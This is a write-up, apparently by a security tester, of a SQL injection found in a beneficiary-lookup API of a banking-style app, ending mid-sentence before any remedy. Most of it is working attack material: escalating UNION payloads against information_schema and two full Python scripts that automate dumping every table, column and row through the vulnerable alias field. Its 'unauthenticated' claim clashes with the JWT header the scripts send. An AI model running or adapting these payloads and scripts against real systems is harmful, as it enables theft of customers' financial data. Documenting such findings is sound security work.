sql-injection-sqli

After nearly giving up hope, I finally discovered my first SQL injection vulnerability while exploring the “View Beneficiary” feature. Upon selecting a beneficiary, the application sent a POST request to /api/beneficiary/fetch/:

{
  "requestBody": {
    "timestamp": "325553",
    "device": {
      "deviceid": "UHDGGF735SVHFVSX",
      "os": "ios",
      "host": "lucideustech.com"
    },
    "data": {
      "alias": "Orion"
    }
  }
}

The request relies on the alias field to fetch beneficiary details, suggesting that the backend issues a SQL query like:

SELECT ... FROM alias_table WHERE alias = '$alias'

Naturally, I tried injecting a basic payload:

' OR 1=1--

and was greeted with a raw SQL error:

The error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\n AND user_id_fk = 11' at line 9

This revealed two critical insights:

  1. SQL injection is confirmed — the input is reaching the SQL interpreter unsanitized.
  2. Standard payloads break due to newline characters, simple — or # comments are ineffective because the SQL query seems to be injected mid-line or across multiple lines, and the newline isn’t properly handled.

This makes the injection slightly more complex. Rather than relying on comment-based termination, I had to craft payloads that properly balance or close quotes and ensure the final query remains syntactically valid.

After confirming the SQL injection point, I didn’t want to stop at just an error disclosure. To make the most out of this vulnerability, I aimed to perform a UNION-based attack to extract data from other tables. Simply finding a SQL error and moving on would’ve been too superficial.

My first step was figuring out how many columns were being returned by the vulnerable query. Based on the response structure, which included four fields like Alias, Account Number, IFSC Code, and Added Date, I assumed it was returning four columns.

To confirm, I injected a classic payload:

UNION SELECT NULL,NULL,NULL,NULL

As expected, this threw an error. To address that, I slightly modified the payload:

UNION SELECT NULL,NULL,NULL,NULL WHERE '1'='1

That worked. But then, I hit a new error:

Unknown column 'user_id_fk' in 'field list'

This told me that the original query expected a user_id_fk column to be returned, likely used internally to filter the original response. Since my UNION SELECT payload didn’t include it, the SQL engine complained. But the error still confirmed the column count (4) and hinted at internal logic.

UNION SELECT table_name AS user_id_fk, NULL, NULL, NULL FROM information_schema.tables WHERE '1'='

Here, I aliased table_name as user_id_fk to satisfy the query’s expectations.

However, it still threw the same error:

Unknown column 'user_id_fk' in 'field list'`

Why the error?

It turns out that SQL evaluates the WHERE clause before the SELECT. That means:

At this point, I was getting pretty frustrated. But then it clicked. The SQL query probably looks like this.

SELECT a, b, c, d FROM x WHERE a = '<payload>' AND user_id_fk = 13

And these four columns were clearly rendered in the frontend like this:

The Strategy

The goal became clear: if I could manipulate the SQL to look like this…

SELECT a, b, c, d FROM x WHERE a = '' -- a,b,c,d being the original but unknown columns selected
UNION -- Payload starts here
SELECT target, NULL, NULL, NULL FROM target_table
UNION
SELECT NULL, NULL, NULL, NULL FROM x WHERE '1' = 'payload ends here' AND user_id_fk = x

…then I’d be able to blend malicious data with legit results, and the system would just render it like any valid record.

Now, I wanted to treat this as a black box challenge — so I couldn’t just open up the source. I only had to guess the table name that contains user_id_fk column for this to work and not throw an error.

After some guessing, the table name was simply beneficiary_details.

UNION (SELECT table_name, NULL, NULL, NULL FROM information_schema.tables LIMIT 1 OFFSET 0) 
UNION 
SELECT NULL, NULL, NULL, NULL FROM beneficiary_details WHERE '1'='

Which returned:

{"alias":"account_details","accountNumber":null,"ifscCode":null,"creationDateTime":null}

Since the backend query only returns a single row, we can iterate through results by adding LIMIT 1 OFFSET x to our UNION payload — with x being the row index. This allows us to chain the attack and dump any table in the database, one row at a time.

here’s a Python script that automates this process and gets all the table names:

import requests
import json

# Target URL and headers
url = "http://localhost/api/beneficiary/fetch"

headers = {
    "Authorization": [JWT TOKEN HERE]
}

offset = 0
output_file = "table_names.txt"

print("[*] Starting extraction loop...\n")

with open(output_file, "w") as f:
    while True:
        payload = {
            "requestBody": {
                "timestamp": "325553",
                "device": {
                    "deviceid": "UHDGGF735SVHFVSX",
                    "os": "ios",
                    "host": "lucideustech.com"
                },
                "data": {
                    "alias": f"' UNION (SELECT table_name, NULL, NULL, NULL FROM information_schema.tables LIMIT 1 OFFSET {offset}) UNION  SELECT NULL, NULL, NULL, NULL FROM beneficiary_details WHERE '1'='"
                }
            }
        }

        response = requests.post(url, headers=headers, json=payload)

        try:
            result = response.json()
        except json.JSONDecodeError:
            print(f"[!] Non-JSON response at offset {offset}")
            break

        status = result.get("status")
        data = result.get("data", {})

        if status == "Failed":
            print(f"\n[-] Stopped at offset {offset}: No more rows or invalid payload.")
            break

        alias = data.get("alias")
        if alias:
            print(f"[+] Offset {offset}: {alias}")
            f.write(alias + "\n")
        else:
            print(f"[!] Offset {offset} returned no alias.")

        offset += 1

And this code should mimic a SELECT * FROM a target table:

import requests
import json

# === Input ===
target_table = input("Enter target table name: ").strip()
output_file = f"{target_table}_rows.txt"

# === Constants ===
url = "http://localhost/api/beneficiary/fetch"

headers = {
    "Authorization": [JWT TOKEN HERE]
}

# === Step 1: Fetch column names ===
print(f"\n[*] Fetching columns for table '{target_table}'")
columns = []
offset = 0

while True:
    injected_alias = f"' UNION (SELECT column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = '{target_table}' LIMIT 1 OFFSET {offset}) UNION  SELECT NULL, NULL, NULL, NULL FROM beneficiary_details WHERE '1'='"

    payload = {
        "requestBody": {
            "timestamp": "325553",
            "device": {
                "deviceid": "UHDGGF735SVHFVSX",
                "os": "ios",
                "host": "lucideustech.com"
            },
            "data": {
                "alias": injected_alias
            }
        }
    }

    res = requests.post(url, headers=headers, json=payload)

    try:
        result = res.json()
    except:
        print("[!] Column fetch failed.")
        break

    if result.get("status") == "Failed":
        break

    col = result.get("data", {}).get("alias")
    if col:
        print(f"[+] Found column: {col}")
        columns.append(col)
        offset += 1
    else:
        break

if not columns:
    print("[-] No columns found.")
    exit()

print(f"[✔] Total columns found: {len(columns)}\n")

# === Step 2: Dump row data column-by-column ===
print(f"[*] Extracting row-wise data from '{target_table}'...\n")
row_offset = 0
row_file = open(output_file, "w")

while True:
    row_data = []

    for col in columns:
        injected_alias = f"' UNION (SELECT {col}, NULL, NULL, NULL FROM {target_table} LIMIT 1 OFFSET {row_offset}) UNION SELECT NULL, NULL, NULL, NULL FROM beneficiary_details WHERE '1'='"
        payload["requestBody"]["data"]["alias"] = injected_alias
        res = requests.post(url, headers=headers, json=payload)

        try:
            result = res.json()
        except:
            print(f"[!] JSON error at row offset {row_offset}, column '{col}'")
            break

        if result.get("status") == "Failed":
            print(f"[-] No more data at offset {row_offset}")
            row_file.close()
            print(f"\n[✔] Extraction complete. Saved to: {output_file}")
            exit()

        value = result.get("data", {}).get("alias", "")
        row_data.append(value)

    print(f"[+] Row {row_offset}: {row_data}")
    row_file.write(",".join(row_data) + "\n")
    row_offset += 1

This is a Critical vulnerability (CVSS ~9.0) due to unauthenticated remote SQL injection allowing data extraction and potential full database compromise.

As a remedy, we should: